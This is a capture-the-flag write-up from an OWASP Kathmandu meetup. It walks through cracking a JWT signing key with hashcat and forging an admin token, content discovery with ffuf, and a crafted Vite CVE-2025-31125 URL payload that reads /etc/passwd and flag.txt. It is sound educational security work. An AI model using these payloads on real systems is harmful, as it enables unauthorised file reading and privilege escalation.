OWASP Kathmandu 7th Meetup CTF
Notes and solutions from the CTF at the OWASP Kathmandu 0x07 meetup, where I finished 1st Runner Up.

Hey everyone! Hope you’re all doing great.❤
Today, we’re thrilled to present our writeup on solving OWASP Kathmandu 7th Meetup CTF. The challenge was both exciting and full of learning opportunities. Huge thanks to the organizers for putting together such an amazing event!
sanity-check
Join Discord to get flag: https://discord.gg/9f7RDQEK

After joining the Discord server, we saw a GIF shared in the #rules channel.

Using right click → copy text on the GIF.
The flag was hidden in the comment section of the GIF link.

Flag: OWASPCTF{lets_the_fun_begin}
Simple grep

This is a powerful way to clone or download a whole website locally and then you can just grep the flag format ‘OWASPCTF’.
Here is the command I execute to mirror the website.
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent --execute robots=off https://map-owasp-ctf.hackasec.team/
grep -Ri "OWASPCTF"
Command Breakdown:
wget --mirror→ Cloning the website locallygrep -Ri→ Searching for the flag recursively and without case sensitivity.
Flag: OWASPCTF{Did_you_just_grep_it?}
RootMe

This is the first interactive interface of the Rootme. We got two options: login and register .


After Registration, It gives a random linux user id with some kinds of privilege.

I am not root.

GET /terminal HTTP/2
Host: rootme-owasp-ctf.hackasec.team
Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXI4NDE1IiwidXNlcl9pZCI6ODQxNSwiaXNfYWRtaW4iOmZhbHNlLCJleHAiOjE3NDU2NzQ3MzZ9.VvbI-3JxnSOZ9ni-vMgXQYTCcY87ibHriZfWp9_O3C8We got to know command execution is being validating by jwt token. So, We decoded the jwt token using jwt.io.

Now, We have to crack the signature key that was used to crack jwt token. Since the token used HS256 (HMAC with SHA-256), we attempted to brute-force the secret key using hashcat with secret wordlist. Although it successfully cracked the token, it didn’t reveal any meaningful secret. We conclude no secret was being used.
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXI0NzA0IiwidXNlcl9pZCI6NDcwNCwiaXNfYWRtaW4iOmZhbHNlLCJleHAiOjE3NDU2NDkyNjJ9.QZRGVZ49C5kTAsmge6wsmf_IKe2Yt0PEYel1zfuk91Q" > jwt_token
hashcat -m 16500 -a 0 jwt_token secret
hashcat (v6.2.6) starting
Dictionary cache hit:
* Filename..: secret
* Passwords.: 103965
* Bytes.....: 1127777
* Keyspace..: 103965
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXI0NzA0IiwidXNlcl9pZCI6NDcwNCwiaXNfYWRtaW4iOmZhbHNlLCJleHAiOjE3NDU2NDkyNjJ9.QZRGVZ49C5kTAsmge6wsmf_IKe2Yt0PEYel1zfuk91Q:
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...fuk91Q
Time.Started.....: Sat Apr 26 12:20:10 2025 (0 secs)
Time.Estimated...: Sat Apr 26 12:20:10 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (secret)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1025.3 kH/s (2.54ms) @ Accel:1022 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4088/103965 (3.93%)
Rejected.........: 0/4088 (0.00%)
Restore.Point....: 0/103965 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: -> 5841314521
Hardware.Mon.#1..: Util: 2%
Started: Sat Apr 26 12:20:09 2025
Stopped: Sat Apr 26 12:20:11 2025
hashcat -m 16500 -a 0 jwt_token secret --show
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXI0NzA0IiwidXNlcl9pZCI6NDcwNCwiaXNfYWRtaW4iOmZhbHNlLCJleHAiOjE3NDU2NDkyNjJ9.QZRGVZ49C5kTAsmge6wsmf_IKe2Yt0PEYel1zfuk91Q:In jwt token, there is username , user_id and is_admin permission. We have to create a new jwt token of root id i.e 0.


By refreshing, we got the admin access .



Flag: OWASPCTF{R00T_4CC3SS_GR4NT3D}
Pokemon

The website had a simple design, featuring a Pokémon-themed page.

We examined the source page along with JavaScript files which gave a little spark of using vite framework.

We used ffuf to perform content discovery:
ffuf -u https://pokemon-owasp-ctf.hackasec.team/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -acThis revealed an endpoint /package :
export const name = "vite-lfi-lab";
export const version = "1.0.0";
export const scripts = {"dev":"vite"};
export const dependencies = {"vite":"6.2.2"};
export default {
name,
version,
scripts,
dependencies,
};After putting eye on the contents of packagethat spark transformed into fire. Vite framework is being used which is a a modern JavaScript build tool that excels in providing a fast, lightweight development experience with its quick setup and minimal configuration.
We can see vite version 6.2.2
By Researching, we got to know there is a CVE available on it.
CVE-2025–31125 → vite-arbitrary-file-read-vulnerability
Lets move towards the CVE Exploit.
https://github.com/vitejs/vite/security/advisories/GHSA-4r4m-qw57-chr8
From the given payload in github repository. We crafted a payload.
Here is the crafted url payload which retrieved the contents of /etc/passwd.
https://pokemon-owasp-ctf.hackasec.team/@fs/etc/passwd?import&?inline=1.wasm?init

Here, We modified the payload to retive the content of flag.txt and got the flag 🏴.
https://pokemon-owasp-ctf.hackasec.team/@fs/flag.txt?import&?inline=1.wasm?init

Flag: OWASPCTF{Vite_dev_CVE_abuse}